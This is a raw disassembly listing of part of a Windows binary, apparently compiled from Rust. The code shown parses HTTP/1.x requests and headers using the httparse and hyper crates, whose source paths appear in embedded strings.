cmp r8b, 0x3a
jne 0x140027740
lea r11, [0x14014698b]
test rbx, rbx
jne 0x1400277d4
jmp 0x140027eee
test byte [rsp + 0x2f], 1
je 0x140027ede
nop dword [rax + rax]
test r8b, r8b
je 0x140027ede
movzx r8d, r8b
cmp r8d, 0xa
je 0x14002792a
cmp r8d, 0xd
je 0x14002790b
cmp rbx, rax
jbe 0x140027ec1
movzx r8d, byte [r12 + rax]
inc rax
mov qword [r14 + 0x10], rax
test r8b, r8b
jne 0x140027709
jmp 0x140027ede
test byte [rsp + 0x57], 1
lea r11, [0x14014698b]
je 0x140027955
add rax, r12
mov rdx, qword [rsp + 0x58]
nop word [rax + rax]
cmp r8b, 0x20
je 0x140027774
movzx r10d, r8b
cmp r10d, 9
jne 0x14002795a
sub r9, 1
jb 0x140027eee
movzx r8d, byte [rax + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp r8b, 0x3a
jne 0x140027760
add qword [rsp + 0x60], rdx
add rdi, rdx
sub rbx, rdx
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbx
test rbx, rbx
jne 0x1400277d4
jmp 0x140027eee
add qword [rsp + 0x60], r15
add rdi, r15
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
sub rbx, r15
mov qword [r14 + 8], rbx
je 0x140027eee
movzx r8d, byte [rdi]
test byte [rsp + 0x47], 1
je 0x140027872
xor eax, eax
nop word cs:[rax + rax]
lea r15, [rax + 1]
mov qword [r14 + 0x10], r15
cmp r8b, 9
je 0x1400277b4
movzx edx, r8b
cmp edx, 0x20
je 0x1400277b4
cmp byte [rdx + r11], 0
jne 0x140027a3b
cmp r8b, 0xa
je 0x140027850
cmp edx, 0xd
jne 0x1400278b3
cmp rbx, r15
jbe 0x140027f71
movzx ecx, byte [rdi + rax + 1]
add rax, 2
mov qword [r14 + 0x10], rax
cmp cl, 0xa
je 0x140027853
jmp 0x140027f7d
mov rax, r15
cmp rax, rbx
jae 0x140027eee
movzx r8d, byte [rdi + rax]
cmp r8d, 9
je 0x1400277f0
cmp r8d, 0x20
je 0x1400277f0
jmp 0x140027e54
movzx eax, r8b
mov qword [r14 + 0x10], 1
mov r15d, 1
cmp eax, 9
je 0x1400277b4
cmp eax, 0x20
je 0x1400277b4
cmp byte [rax + r11], 0
jne 0x140027a3b
cmp eax, 0xa
je 0x140027e29
cmp eax, 0xd
je 0x140027e30
test byte [rsp + 0x2f], 1
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
je 0x140027fbc
test r8b, r8b
je 0x140027fbc
movzx eax, r8b
cmp eax, 0xa
je 0x1400279ff
cmp eax, 0xd
je 0x1400279e2
cmp rbx, r15
jbe 0x140027f5b
movzx r8d, byte [rdi + r15]
inc r15
mov qword [r14 + 0x10], r15
test r8b, r8b
jne 0x1400278d6
jmp 0x140027fbc
cmp rbx, rax
jbe 0x140027fc9
movzx r8d, byte [r12 + rax]
inc rax
mov qword [r14 + 0x10], rax
cmp r8b, 0xa
jne 0x140027fd3
add r9, rax
add r12, rax
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], r12
mov qword [r14 + 8], rbx
mov r10, qword [rsp + 0x58]
test rbx, rbx
jne 0x140027625
jmp 0x140027ec1
mov rdx, qword [rsp + 0x58]
test byte [rsp + 0x2f], 1
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
je 0x140027f64
add r15, rdx
test r8b, r8b
je 0x140027f64
movzx eax, r8b
cmp eax, 0xa
je 0x1400279af
cmp eax, 0xd
je 0x1400279b6
cmp rbx, rdx
jbe 0x140027f5b
movzx r8d, byte [r15]
inc rdx
mov qword [r14 + 0x10], rdx
inc r15
test r8b, r8b
jne case.0x140024839.502
jmp 0x140027f64
mov r9, qword [rsp + 0x60]
jmp 0x1400279d7
cmp rbx, rdx
mov r9, qword [rsp + 0x60]
jbe 0x140027ffe
movzx eax, byte [rdi + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
push rsi
adc byte [rdx + rcx], bh
push rsi
adc byte [rdx + rcx], bh
jne 0x140028005
add r9, rdx
add rdi, rdx
sub rbx, rdx
jmp 0x140027a0d
cmp rbx, r15
jbe 0x14002800e
movzx eax, byte [rdi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
jne 0x140028015
sub rbx, r15
add rdi, r15
mov r9, qword [rsp + 0x60]
add r9, r15
mov r12, rdi
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
jmp 0x140027933
call fcn.14012c8e0
lea r11, [0x14014698b]
jmp 0x140027a6b
call fcn.14012c8e0
lea r11, [0x14014698b]
jmp 0x140027aa7
mov rcx, qword [0x14019f1a0]
test rcx, rcx
jne 0x140027ac5
mov rax, qword [0x14019f2d0]
test rax, rax
je 0x140027a83
and eax, 0x8000
or rax, qword [rsp + 0x58]
mov rax, qword [0x14019f2d0]
je 0x140027aa2
test rax, rax
je 0x140027a1f
and eax, 0x800
xor edx, edx
or rax, qword [rsp + 0x58]
sete dl
xor rdx, 3
mov rcx, rdx
jmp 0x140027abe
call fcn.14012c8e0
lea r11, [0x14014698b]
and eax, 0x8000
or rax, qword [rsp + 0x58]
mov rax, qword [0x14019f2d0]
jne 0x140027a66
test rax, rax
je 0x140027a2d
and eax, 0x800
xor ecx, ecx
or rax, qword [rsp + 0x58]
setne cl
lea rdx, [rcx*2 - 1]
mov qword [0x14019f1a0], rdx
cmp rcx, 3
je 0x140027b60
cmp rcx, 2
je 0x140027b20
cmp rcx, 1
jne 0x140027bd0
nop
mov rax, rbx
sub rax, r15
jb 0x14002803e
cmp rax, 0xf
jbe 0x140027bd0
lea rcx, [rdi + r15]
call fcn.1400282a0
lea r11, [0x14014698b]
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x140027ae0
jmp 0x140027bd0
mov rax, rbx
sub rax, r15
jb 0x14002803e
cmp rax, 0x20
jb 0x140027bd0
lea rcx, [rdi + r15]
call fcn.140028240
lea r11, [0x14014698b]
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140027b20
jmp 0x140027bd0
mov rax, rbx
sub rax, r15
jb 0x14002803e
cmp rax, 0x20
jb 0x140027ba0
lea rcx, [rdi + r15]
call fcn.140028240
lea r11, [0x14014698b]
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140027b60
jmp 0x140027bd0
mov rax, rbx
sub rax, r15
jb 0x14002803e
cmp rax, 0xf
jbe 0x140027bd0
lea rcx, [rdi + r15]
call fcn.1400282a0
lea r11, [0x14014698b]
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x140027ba0
nop
mov rcx, r15
sub rcx, 0xfffffffffffffff8
jae 0x140027c90
cmp rcx, rbx
ja 0x140027c90
mov rax, qword [rdi + r15]
movzx edx, al
cmp byte [rdx + r11], 0
je 0x140027cb2
mov rdx, rax
shr rdx, 8
movzx r8d, dl
cmp byte [r8 + r11], 0
je 0x140027cba
mov rdx, rax
shr rdx, 0x10
movzx r8d, dl
cmp byte [r8 + r11], 0
je 0x140027cc0
mov rdx, rax
shr rdx, 0x18
movzx r8d, dl
cmp byte [r8 + r11], 0
je 0x140027cc6
mov rdx, rax
shr rdx, 0x20
movzx r8d, dl
cmp byte [r8 + r11], 0
je 0x140027ccc
mov rdx, rax
shr rdx, 0x28
movzx r8d, dl
cmp byte [r8 + r11], 0
je 0x140027cd2
cmp rbx, r15
jbe 0x140027eee
movzx eax, byte [rdi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp byte [rax + r11], 0
jne 0x140027bd0
jmp 0x140027ce9
inc r15
mov rcx, r15
jmp 0x140027ce2
add r15, 2
jmp 0x140027cdc
add r15, 3
jmp 0x140027cdc
add r15, 4
jmp 0x140027cdc
add r15, 5
jmp 0x140027cdc
mov rcx, r15
mov rax, rdx
mov qword [r14 + 0x10], rcx
mov r15, rcx
mov rdx, 0xffffffffffffffff
cmp al, 0xa
je 0x140027d20
movzx ecx, al
cmp ecx, 0xd
jne 0x140027d4d
cmp rbx, r15
jbe 0x140027f71
movzx eax, byte [rdi + r15]
inc r15
mov qword [r14 + 0x10], r15
mov rdx, 0xfffffffffffffffe
cmp al, 0xa
jne 0x140027f7d
test byte [rsp + 0x47], 1
je 0x140027dc0
cmp rbx, r15
jbe 0x140027eee
movzx eax, byte [rdi + r15]
cmp eax, 9
je 0x140027a3b
test byte [rsp + 0x2f], 1
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
je 0x140027fbc
test al, al
je 0x140027fbc
lea r8, [rdi + r15]
sub rbx, r15
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
cmp qword [rsp + 0x70], rbp
je 0x140027fe1
add rdx, r15
je 0x140027e0e
mov eax, 1
jmp 0x140027e54
cmp rbx, 2
jb 0x140027f71
movzx ecx, byte [rdi + 1]
mov qword [r14 + 0x10], 2
mov eax, 2
cmp cl, 0xa
jne 0x140027f7d
lea r8, [rdi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
cmp qword [rsp + 0x70], rbp
je 0x140027fe1
mov r9, qword [rsp + 0x58]
mov rdx, r9
add rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], r12
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdx
lea rsi, [rcx + 0x20]
mov rdi, qword [rsp + 0x38]
inc rdi
mov r10, r9
test rbx, rbx
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
mov r11, qword [rsp + 0x68]
jne 0x14002761a
jmp 0x140027ec1
mov qword [rcx], 1
jmp 0x140027f98
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x140027f98
mov byte [rcx + 8], 0
mov qword [rcx], 2
jmp 0x140027f98
mov rax, qword [rsp + 0x48]
mov qword [rax], 1
jmp 0x140027f8e
add rax, r9
mov r9, rax
shr r9, 8
xor r8d, r8d
mov r10d, eax
mov qword [rcx], r8
mov byte [rcx + 8], r10b
mov dword [rcx + 9], r9d
mov rax, r9
shr rax, 0x30
mov byte [rcx + 0xf], al
shr r9, 0x20
mov word [rcx + 0xd], r9w
jmp 0x140027f98
mov r8d, 1
cmp rbx, rax
jbe 0x140027fb7
movzx eax, byte [r12 + r10 + 1]
add r10, 2
mov qword [r14 + 0x10], r10
cmp al, 0xa
jne 0x140027fad
add r10, r9
mov r9, r10
shr r9, 8
xor r8d, r8d
jmp 0x140027f0f
mov qword [rcx], 1
jmp 0x140027f8e
mov byte [rcx + 8], 0
mov qword [rcx], 2
jmp 0x140027f8e
mov eax, 1
mov rcx, qword [rsp + 0x48]
jmp 0x140027f8b
mov rcx, qword [rsp + 0x48]
mov byte [rcx + 8], 1
mov eax, 2
mov qword [rcx], rax
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov qword [rdx + 8], rdi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rcx + 8], 2
mov r8d, 2
mov qword [rcx], r8
jmp 0x140027f98
mov byte [rcx + 8], 1
mov qword [rcx], 2
jmp 0x140027f8e
mov eax, 1
mov qword [rcx], rax
jmp 0x140027f98
mov byte [rcx + 8], 0
mov eax, 2
mov qword [rcx], rax
jmp 0x140027f98
mov r8d, 2
mov r10b, 5
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
jmp 0x140027f0f
mov eax, 1
jmp 0x140027f8b
mov byte [rcx + 8], 0
jmp 0x140027f86
mov eax, 1
jmp 0x14002801e
mov byte [rcx + 8], 1
mov eax, 2
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov qword [rcx], rax
jmp 0x140027f98
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srciter.rs
mov rcx, r15
mov rdx, rbx
call fcn.140122510
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srclib.rs
call fcn.1401225f0
int3
mov rbx, qword [rdx]
mov r15, qword [rdx + 8]
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x118], 0x64
test r15, r15
je 0x14002b0ac
xor edx, edx
jmp 0x14002840c
inc rdx
cmp rdx, r15
jae 0x14002b0ac
movzx r8d, byte [rbx + rdx]
cmp r8d, 0xa
je 0x140028400
cmp r8d, 0xd
jne 0x140028450
lea rax, [rdx + 1]
cmp rax, r15
jae 0x14002b0ac
cmp byte [rbx + rdx + 1], 0xa
jne case.0x14002b433.0
add rdx, 2
cmp rdx, r15
jb 0x14002840c
jmp 0x14002b0ac
lea rax, [rbx + rdx]
mov rcx, r15
sub rcx, rdx
cmp rcx, 8
mov qword [rsp + 0x258], r11
mov byte [rsp + 0x33], r10b
jae 0x140028501
cmp r15, rdx
je 0x14002b0ac
cmp r8b, 0x48
jne case.default.0x14002b433
cmp rcx, 1
je 0x14002b0ac
cmp byte [rax + 1], 0x54
jne case.default.0x14002b433
cmp rcx, 3
jb 0x14002b0ac
cmp byte [rax + 2], 0x54
jne case.default.0x14002b433
cmp rcx, 3
je 0x14002b0ac
cmp byte [rax + 3], 0x50
jne case.default.0x14002b433
cmp rcx, 5
jb 0x14002b0ac
cmp byte [rax + 4], 0x2f
jne case.default.0x14002b433
cmp rcx, 5
je 0x14002b0ac
cmp byte [rax + 5], 0x31
jne case.default.0x14002b433
cmp rcx, 7
jne 0x14002b0ac
cmp byte [rax + 6], 0x2e
jne case.default.0x14002b433
jmp 0x14002b0ac
mov r8, qword [rax]
mov r9, r8
movabs rsi, 0xffffffffffffff
and r9, rsi
movabs rsi, 0x2e312f50545448
cmp r9, rsi
jne case.default.0x14002b433
shr r8, 0x38
cmp r8, 0x30
je 0x140028540
cmp r8d, 0x31
jne case.default.0x14002b433
mov r8b, 2
jmp 0x140028543
mov r8b, 1
mov qword [rsp + 0x1f8], r8
cmp rcx, 8
je 0x14002b0ac
cmp byte [rax + 8], 0x20
jne case.default.0x14002b433
add rax, 9
lea r8, [rcx - 9]
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r8
test byte [rsp + 0x35], 1
je 0x1400285d9
cmp rcx, 9
je 0x14002b0ac
cmp byte [rax], 0x20
jne 0x1400285c0
add rdx, rbx
add rdx, 0xa
add rcx, 0xfffffffffffffff6
xor r9d, r9d
cmp rcx, r9
je 0x14002b0ac
lea r10, [r9 + 1]
cmp byte [rdx + r9], 0x20
mov r9, r10
je 0x1400285a7
jmp 0x1400285c3
xor r10d, r10d
add rax, r10
sub r8, r10
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r8
mov rcx, r13
call fcn.140028060
mov ebp, eax
shr ebp, 0x10
test ax, ax
je 0x140028602
movzx eax, ax
cmp eax, 2
movzx r10d, byte [rsp + 0x33]
je 0x1400288a4
jmp 0x14002b0ac
mov r14, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
cmp r14, rdx
mov r9, qword [rsp + 0x258]
jbe 0x14002b0ac
mov rax, qword [rsp + 0x160]
movzx r8d, byte [rax + rdx]
lea rcx, [rdx + 1]
cmp r8d, 0xa
je 0x1400286b4
cmp r8d, 0xd
je 0x140028691
cmp r8d, 0x20
jne case.0x14002b433.3
test byte [rsp + 0x35], 1
je 0x140028856
cmp r14, rcx
jbe 0x14002b0ac
cmp byte [rax + rcx], 0x20
jne 0x14002884b
mov edx, 2
sub rdx, r14
lea r8, [rdx + rcx]
cmp r8, 1
je 0x14002b0ac
lea r8, [rcx + 1]
cmp byte [rax + rcx + 1], 0x20
mov rcx, r8
je 0x140028670
jmp 0x14002884e
cmp r14, rcx
jbe 0x14002b0ac
cmp byte [rax + rcx], 0xa
jne case.0x14002b433.3
add rax, rdx
add rax, 2
add rdx, 2
sub r14, rdx
jmp 0x1400286ba
add rax, rcx
sub r14, rcx
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r14
mov esi, 1
xor edi, edi
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x110]
mov r8, r13
call fcn.1400275b0
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14002871e
cmp eax, 2
movzx r10d, byte [rsp + 0x33]
jne 0x14002b0ac
movzx ebp, byte [rsp + 0xb8]
jmp 0x1400288a4
mov rcx, rbp
lea eax, [rbp - 0x3e8]
movzx eax, ax
cmp eax, 0xfc7c
mov eax, 0
cmovb ecx, eax
test cx, cx
je 0x14002b5a2
mov r12, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0x110]
mov r13, qword [rsp + 0x118]
mov qword [rsp + 0x2a0], rcx
call fcn.140026f60
test rax, rax
setne cl
cmp rdi, rdx
sete dl
test cl, dl
je 0x14002878b
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call fcn.1401220a0
test eax, eax
je 0x14002b09b
lea rcx, [rsp + 0xb0]
mov rdx, rsi
mov r8, rdi
call fcn.140007d10
mov r8, r15
cmp r13, 0x64
mov eax, 0x64
cmovb rax, r13
test r13, r13
je 0x14002880f
shl rax, 5
xor ecx, ecx
mov rdx, qword [rbp + rcx + 8]
cmp rdx, 0xffff
ja 0x14002b4e4
mov r9, qword [rbp + rcx]
mov r10, qword [rbp + rcx + 0x10]
sub r9, rbx
add rdx, r9
sub r10, rbx
mov r11, qword [rbp + rcx + 0x18]
add r11, r10
mov qword [rsp + rcx + 0x1020], r9
mov qword [rsp + rcx + 0x1028], rdx
mov qword [rsp + rcx + 0x1030], r10
mov qword [rsp + rcx + 0x1038], r11
add rcx, 0x20
cmp rax, rcx
jne 0x1400287b9
sub r8, r14
add r8, r12
mov rax, qword [rsp + 0xb0]
lea rcx, [rsp + 0xb8]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x60], rcx
lea r12, [rsp + 0x3a0]
mov rbp, qword [rsp + 0x1f8]
jmp 0x1400288ce
mov r8, rcx
add rax, r8
sub r14, r8
xor ecx, ecx
add rax, rcx
sub r14, rcx
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r14
lea rcx, [rsp + 0xb0]
mov rdx, r13
call fcn.140028120
cmp byte [rsp + 0xb0], 0
je 0x14002b071
movzx ebp, byte [rsp + 0xb1]
movzx r10d, byte [rsp + 0x33]
cmp bpl, 6
jne 0x14002b41f
test r10b, 1
je 0x14002b332
mov ax, 0xc8
mov qword [rsp + 0x2a0], rax
xor r8d, r8d
xor eax, eax
xor ebp, ebp
xor r13d, r13d
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x288]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx], xmm0
lea rcx, [rsp + 0x2d8]
mov rdx, qword [rsp + 0x260]
call fcn.140008630
test byte [rsp + 0x37], 1
je 0x140028a19
cmp r13, 0x65
jae 0x14002b8ba
test r13, r13
je 0x140028a19
mov rax, r13
shl rax, 5
lea r8, [rsp + rax]
add r8, 0x1020
mov r9, qword [rsp + 0x2d8]
mov rdx, qword [rsp + 0x2e0]
lea r10, [rsp + 0x1020]
jmp 0x14002895d
add r10, 0x20
cmp r10, r8
je 0x140028a19
mov rcx, qword [r10 + 0x10]
mov rax, qword [r10 + 0x18]
cmp rax, rcx
jb 0x14002b666
cmp rax, rdx
ja 0x14002b657
mov rsi, rcx
sub rsi, rax
je 0x140028950
lea r11, [r9 + rcx]
mov edi, eax
sub edi, ecx
and edi, 3
jne 0x1400289ac
cmp rsi, 0xfffffffffffffffc
ja 0x140028950
add rax, r9
jmp 0x1400289ce
mov byte [r11], 0x20
inc r11
dec rdi
je 0x14002898c
movzx ecx, byte [r11]
cmp ecx, 0xd
je 0x1400289a0
cmp ecx, 0xa
je 0x1400289a0
jmp 0x1400289a4
mov byte [r11 + 3], 0x20
add r11, 4
cmp r11, rax
je 0x140028950
movzx ecx, byte [r11]
cmp ecx, 0xd
je 0x1400289dc
cmp ecx, 0xa
jne 0x1400289e0
mov byte [r11], 0x20
movzx ecx, byte [r11 + 1]
cmp ecx, 0xd
je 0x1400289ef
cmp ecx, 0xa
jne 0x1400289f4
mov byte [r11 + 1], 0x20
movzx ecx, byte [r11 + 2]
cmp ecx, 0xd
je 0x140028a03
cmp ecx, 0xa
jne 0x140028a08
mov byte [r11 + 2], 0x20
movzx ecx, byte [r11 + 3]
cmp ecx, 0xd
je 0x1400289c0
cmp ecx, 0xa
je 0x1400289c0
jmp 0x1400289c5
mov rsi, qword [rsp + 0x2f0]
test sil, 1
jne 0x140028a53
movups xmm0, xmmword [rsp + 0x2d8]
movups xmmword [rsp + 0x218], xmm0
mov qword [rsp + 0x228], rsi
lea rax, [0x14016a948]
mov qword [rsp + 0x210], rax
jmp 0x140028af5
shr rsi, 5
mov rax, qword [rsp + 0x2d8]
sub rax, rsi
mov rcx, qword [rsp + 0x2e0]
add rcx, rsi
mov rdx, qword [rsp + 0x2e8]
add rdx, rsi
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x50]
call fcn.140008100
mov qword [rsp + 0x80], rsi
mov rax, qword [rsp + 0x170]
mov rcx, rax
sub rcx, rsi
jb 0x14002b8ce
mov qword [rsp + 0x170], rcx
add qword [rsp + 0x168], rsi
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x210], xmm0
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x228], rax
mov rcx, qword [rsp + 0x2c0]
mov rax, qword [rcx]
mov qword [rcx], 3
cmp rax, 3
jne 0x140028b6f
lea rax, [rsp + 0x168]
movups xmmword [rax + 0x20], xmm6
mov qword [rsp + 0x178], 0
mov qword [rsp + 0x180], 8
mov qword [rsp + 0x198], 8
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1b0], 0
mov word [rsp + 0x1b8], 0
xor eax, eax
jmp 0x140028bb2
mov rdx, qword [rsp + 0x2b0]
mov rcx, qword [rdx + 0x50]
lea r8, [rsp + 0x168]
mov qword [r8 + 0x50], rcx
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movups xmmword [r8 + 0x30], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov qword [rsp + 0x160], rax
cmp bpl, 2
sete byte [rsp + 0x34]
test byte [rsp + 0x36], 1
je 0x140028c36
lea rax, [rsp + 0xb8]
movups xmmword [rax + 0x20], xmm6
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 8
mov qword [rsp + 0xe8], 8
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 2
mov qword [rsp + 0x100], 0
mov word [rsp + 0x108], 0
jmp 0x140028c42
mov qword [rsp + 0xb0], 3
mov rax, qword [rsp + 0x188]
mov r15, rax
add r15, r13
jb 0x14002b773
mov rbx, qword [rsp + 0x1b0]
cmp r15, rbx
mov qword [rsp + 0x1f8], rbp
jbe 0x140028cd9
lea rcx, [r15 - 1]
bsr rcx, rcx
not ecx
mov rdx, 0xffffffffffffffff
shr rdx, cl
cmp r15, 2
mov r14d, 0
cmovae r14, rdx
cmp r14, 0xffffffffffffffff
je 0x14002b773
cmp r14, 0x7fff
ja 0x14002b773
lea rsi, [r14 + 1]
test rax, rax
je 0x14002a999
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.14002ca10
test al, al
lea r15, [0x14015c7e0]
mov rbp, qword [rsp + 0x1f0]
je 0x140028ce8
jmp 0x14002b773
lea r15, [0x14015c7e0]
mov rbp, qword [rsp + 0x1f0]
cmp r13, 0x65
jae 0x14002b813
mov qword [rsp + 0x1f0], rbp
test r13, r13
je 0x14002a731
shl r13, 5
lea rax, [rsp + r13]
add rax, 0x1020
mov qword [rsp + 0x2d0], rax
lea r14, [rsp + 0x1020]
lea r13, [rsp + 0x160]
nop dword [rax]
mov rdx, qword [r14]
mov rax, qword [r14 + 8]
mov r8, rax
sub r8, rdx
jb 0x14002b687
mov r9, qword [rsp + 0x220]
cmp rax, r9
ja 0x14002b675
add rdx, qword [rsp + 0x218]
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x50]
mov r9, r12
call fcn.140024680
movzx eax, byte [rsp + 0x60]
cmp al, 3
je 0x14002b0bd
mov rsi, qword [rsp + 0x50]
cmp al, 2
jne 0x140028da0
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x120], sil
jmp 0x140029040
mov rdi, qword [rsp + 0x58]
test al, 1
je 0x140028dd0
lea rcx, [rsp + 0x118]
mov rdx, rsi
mov r8, rdi
call fcn.140007d10
jmp 0x140029040
test rdi, rdi
je 0x140028e0b
js 0x14002b7ef
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x14002b7da
mov r9, rdi
mov rcx, r9
shr rcx, 0xa
je 0x140028e1c
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x140028e21
mov eax, 1
xor r9d, r9d
mov rcx, r9
shr rcx, 0xa
jne 0x140028e01
mov ecx, 0x40
mov edx, 0x40
sub rdx, rcx
cmp rdx, 7
mov ecx, 7
cmovae rdx, rcx
lea rbx, [rdx*4 + 1]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], r9
mov qword [rsp + 0x158], rbx
test rdi, rdi
mov qword [rsp + 0x2a8], rax
je 0x140028f7a
xor ebx, ebx
mov rdx, rax
xor ecx, ecx
nop word [rax + rax]
movzx r8d, byte [rsi + rbx]
movzx ebp, byte [r8 + r15]
test bpl, bpl
je 0x140028fb0
cmp r9, rcx
jne 0x140028ec2
mov edx, 1
lea rcx, [rsp + 0x140]
call fcn.1400087c0
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x148]
mov r9, qword [rsp + 0x150]
mov byte [rdx + rcx], bpl
inc rcx
mov qword [rsp + 0x1c0], rcx
cmp rcx, r9
ja 0x14002b5db
mov qword [rsp + 0x148], rcx
inc rbx
cmp rdi, rbx
jne 0x140028e80
mov rdx, qword [rsp + 0x140]
mov r9, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x158]
test bl, 1
je 0x140028f84
shr rbx, 5
sub rdx, rbx
add rcx, rbx
add r9, rbx
mov qword [rsp + 0x2f8], r9
mov qword [rsp + 0x300], rdx
mov qword [rsp + 0x308], rcx
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x2f8]
call fcn.140008100
mov qword [rsp + 0x310], rbx
mov rax, qword [rsp + 0x1d0]
mov rcx, rax
sub rcx, rbx
jb 0x14002b827
add rbx, qword [rsp + 0x1c8]
mov rax, qword [rsp + 0x1c0]
mov rdx, rbx
mov rbx, qword [rsp + 0x1d8]
jmp 0x140028f8b
xor ecx, ecx
mov rdx, rax
test bl, 1
jne 0x140028f07
lea rax, [0x14016a948]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], rdx
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rbx
jmp 0x140029040
mov qword [rsp + 0x110], 1
mov r8, qword [rsp + 0x158]
test r8b, 1
je 0x140028feb
shr r8, 5
mov rax, qword [rsp + 0x150]
add rax, r8
je 0x140029027
mov rax, qword [rsp + 0x140]
sub rax, r8
mov r8, rax
jmp 0x140029018
lock dec qword [r8 + 0x20]
jne 0x140029027
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x140029018
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test byte [rsp + 0x110], 1
jne 0x14002b0bd
nop word cs:[rax + rax]
lea rax, [rsp + 0x118]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x240], xmm1
movaps xmmword [rsp + 0x230], xmm0
mov r8, qword [r14 + 0x10]
mov r9, qword [r14 + 0x18]
mov rcx, r12
lea rdx, [rsp + 0x210]
call fcn.140033960
mov rsi, qword [rsp + 0x3a0]
test rsi, rsi
je 0x14002b6da
mov rdi, qword [rsp + 0x3a8]
movdqu xmm11, xmmword [rsp + 0x3b0]
cmp qword [rsp + 0x230], 0
jne 0x1400290da
cmp byte [rsp + 0x238], 0x14
jne 0x1400290da
movq rdx, xmm11
test byte [rsp + 0x34], 1
je 0x140029290
mov r9d, 5
mov rcx, rdi
lea r8, str.closechunkedoriginal_header_value_plus_ascii_is_validC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
call fcn.140032b50
xor al, 1
mov byte [rsp + 0x34], al
cmp dword [rsp + 0xb0], 3
